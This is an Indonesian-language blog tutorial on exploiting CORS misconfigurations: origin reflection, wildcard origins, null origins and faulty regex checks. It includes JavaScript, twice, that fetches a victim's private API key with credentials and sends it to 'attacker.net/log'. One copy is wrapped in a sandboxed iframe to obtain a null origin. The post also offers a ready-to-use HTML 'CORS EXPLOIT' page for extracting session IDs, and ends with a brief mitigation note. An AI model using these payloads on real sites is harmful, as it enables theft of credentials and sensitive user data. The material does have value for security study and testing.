Exploiting CORS Misconfiguration Vulnerability | CWE 942

Posted on

CORS merupakan vulnerability yang bisa dibilang berada pada urutan keamanan paling rendah bagi kita yang berkecimpung pada Bug Hunter, dan bisa dibilang bahwa kerentanan ini adalah kerentanan yang paling biasa diabaikan. Vulnerability CORS berada pada kesalahan konfigurasi pada protokol CORS di web server.

Semua kerentanan yang melibatkan CORS, adalah kerentanan yang terjadi akibat kesalahan konfigurasi pada web server. Beberapa kesalahan konfigurasi memungkinkan untuk domain” berbahaya mengakses end point API & juga seperti cookie yang dikirim dari sumber yang tidak terpercaya.

1. ORIGIN REFLECTION

Seperti yang kita tau, disaat kita mengizinkan your-website.com untuk mengakses content dari another-website.com, kita perlu mengatur CORS pada another-website.com menggunakan :

Access-Control-Allow-Origin: your-website.com

Tetapi bagaimana jika ada domain yang juga membutuhkan akses ke website utama ? CORS pasti tidak mengijinkan developer untuk menentukan daftar statis domain yang diizinkan. Biasanya untuk mengatasi masalah ini, developer akan menggunakan karakter wildcard *, atau membuat sebuah header Access-Control-Allow-Origin secara dinamis.

Kalian bisa mendeteksi kerentanan ini dengan mudah, dengan cara mengirim permintaan http dari original costum dan memeriksa apakah respon dari permintaan tersebut memberikan akses ke original costum tadi.

Contoh :

HTTP Request:
GET /api/getPrivateKey HTTP/1.1
Host: www.secure-bank.com
Origin: www.evil-domain.com
Connection: close

HTTP Response:
HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: www.evil-domain.com
{"[private API key]"}

Nah, jika kita lihat hasil diatas, ini disebut Origin-Reflection karena server mencerminkan respon dari permintaan Access-control-allow-origin. Masalah yang bisa dibilang besar dalam respons ini adalah header Access-control-allow-credentials yang dikonfigurasikan “True” ini berarti bahwa, seperti contoh diatas, www.evil-domain.com dapat mengirim cookie ke www.secure-bank.com.

Header ini memungkinkan penyeranng untuk menggunakan kredensial korban saat mengirim permintaan ke www.secure-bank.com, sehingga mengambil informasi sensitifnya, kita bisa mengeksploitasi kerentanan ini dengan sangat mudah, yaitu menggunakan java script yang ditanamkan di halaman korban.

Dibawah ini adalah contoh javascriptnya :

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://secure-bank.com/api/getPrivateKey',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//attacker.net/log?key='+this.responseText; 
};

Eksploitasi diatas mengirimkan private-key kepada attacker yang dimana, hal ini dapat digunakan untuk memperoleh akses semua informasi sensitif pengguna.

2. Wildcard Origin

Seperti yang sudah kita bahas diatas, solusi untuk memberikan akses ke banyak sistem lain, adalah menggunakan Wildcard origin di header respons, sehingga memberikan izin explisit ke semua domain untuk membaca respons dari www.secure-bank.com

Access-Control-Allow-Origin: *

Ini bisa menjadi cukup bermasalah atau bahkan dapat menjadi hal yang jauh lebih serius daripada origin-reflection. Alasannya adalah karena pada saat server mengirimkan respons dengan dua header critical yang diaktifkan :

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true <- THIS WON'T WORK

Credential tidak akan pernah dikirim atau dipertimbangkan

Tetapi beruntung, karena dengan menggunakan wildcard origins, ia akan secara otomatis menonaktfikan berbagai cookie. Namun, jika server tidak memerluikan autentikasi, data di server masih dapat diakses. Ini dapat terjadi pada server internal yang tidak dapat diakses di internet, dengan demikian, situs web penyerang dapat melakukan pivot ke jaringan internal dan mengakses data server tanpa autentikasi.

3. Null Origin

Terkadang beberapa server mengizinkan akses ke sumber yang sangat khusus yang biasa disebut Null-Origin. Hal ini dapat merusak keamanan mereka, karena memungkinkan semua orang mengakses sumber daya di situs web ini, dan parahnya dengan menggunakan credential, kalian bisa mendeteksi kerentanan ini dalam berbagai respons yang berisi :

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true <- THIS WILL WORK

Hasil null dalam kasus ni, menunjukan kebalikan dari apa yang sebenarnya berarti ” BUKAN ‘ TIDAK ADA ‘ TAPI ‘ SEMUA ORANG ‘. Dengan begitu, munculah sebuah pertanyaan, sebelum kita mengeksploitasi hal ini, yaitu : bagaimana kita bisa membuat null-origin. Jelas bahwa mengirim permintaan dari domain apapun seperti www.evil-domain.com akan menempatkan nama domain yang sebenarnya di bawah request header origin.

How can we transform 
this -> Origin: evil-domain.com
into this -> Origin: null 

Beberapa postingan di stackoverflow menunjukan bahwa file HTML lokal mendapatkan null-origin. Besar kemungkinan karena kaitannya dengan file lokal, oleh karena banyak website yang memasukan origin ini ke dalam whitelist.

GET /reader?url=zxcvbn.pdf
Host: docs.google.com
Origin: null

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Hal ini sangat menguntungkan penyerang, karena situs web apapun dapat dengan mudah mendapatkan null-origin menggunakan iframe sandbox :

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,
<script>
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://secure-bank.com/api/getPrivateKey',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//attacker.net/log?key='+this.responseText; 
};
</script>’>
</iframe>

Permintaan yang dikirim menggunakan script diatas akan memiliki original-null dan dengan demikian, attacker berhasil mengambil private keynya.

4. Expanding Origin – Regex Issues

Terkadang, hal tertentu dari original-origin tidak difilter di sisi server. Ini bisa jadi disebabkan karena penggunaan ” reguler expressions ” yang diterapkan dengan buruk untuk memvalidasi original header.

Misalnya, beberapa server akan memindai semua domain yang diakhiri dengan www.secure-bank.com seperti www.api.secure-bank.com dan subdomain lainnya. Namun terkadang mereka secara keliru mengizinkan semua domain yang diakhiri dengan www.secure-bank.com untuk mengakses API, seperti www.not-so-secure-bank.com, Ini dikarenakan kesalahan penempatan REGEX.

GET /getPrivateKey HTTP/1.1
Host: api.secure-bank.com
Origin: https://evilsecure-bank.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evilsecure-bank.com
Access-Control-Allow-Credentials: true 

{"[private API key]"}

Seperti yang kita bisa lihat, kesalahan konfigurasi CORS di server web bisa menjadi sangat penting dan dapat menyebabkan kebocoran informasi sensitif.

Dibawah ini adalah script yang sudah tinggal pakai, dengan memakai bahasa pemrograman HTML & JAVASCRIPT :

<!DOCTYPE html>
<html>
    <body>
        <center>
            <h2>
                CORS EXPLOIT
                <p>
                    By STREET SECURITY
                </p>
            </h2>
            <h3>
                EXTRACT SID
            </h3>
            <div id="demo">
                <button type="button" onclick="cors()">
                    EXPLOIT
                </button>
            </div>
            <script>
                function cors() {
                    var xhttp = new XMLHttpRequest();
                    xhttp.onreadystatechange = function() {
                        if (this.readyState == 4  &&  this.status ==200){
                            document.getElementById("demo").innerHTML = alert(this.responseText);
                        }
                    };
                    xhttp.open("GET", "<target link>", true);
                    xhttp.withCredentials = true;
                    xhttp.send();
                }
            </script>
        </center>
    </body>
</html>

Cara termudah untuk mengurangi kerentanan yang lebih serius tersebut, adalah dengan menghindari penggunaan header kontrol akses yang dibuat secara dinamis. Selalu lakukan pengujian yang ketat, untuk memverifikasi nama domain secara terstruktur dan terprogram. Jangan memberikan hak akses secara mudah, dalam beberapa kondisi, mungkin bisa diberikan secara acak.

Baca Juga  AdSense Introduce
Gravatar Image
Hi, Saya adalah seorang mahasiswa IT yang senang explorasi mengenai dunia IT.